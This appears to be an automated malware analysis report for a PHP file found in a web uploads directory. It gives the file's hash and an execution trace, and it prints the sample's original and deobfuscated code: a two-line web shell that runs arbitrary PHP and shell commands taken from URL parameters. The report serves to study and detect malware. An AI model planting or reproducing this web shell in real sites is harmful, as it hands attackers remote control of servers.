PHP Malware Analysis

1.php

md5: 7cba556f56626bebb37538993d8a7d5e

Jump to:

Screenshot


Attributes

Execution

Input


Deobfuscated PHP code

<?php

@eval($_GET['e']);
@system($_GET['s']);

Execution traces

data/traces/7cba556f56626bebb37538993d8a7d5e_trace-1676255821.6799.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:37:27.577683]
1	0	1	0.000138	393464
1	3	0	0.000186	394288	{main}	1		/var/www/html/uploads/1.php	0	0
2	4	0	0.000208	394320	system	0		/var/www/html/uploads/1.php	1	1	NULL
2	4	1	0.000226	394352
2	4	R			FALSE
1	3	1	0.000240	394320
			0.000263	314232
TRACE END   [2023-02-13 00:37:27.577836]


Generated HTML code

<html><head></head><body></body></html>

Original PHP code

<?php @eval($_GET['e']);@system($_GET['s']);?>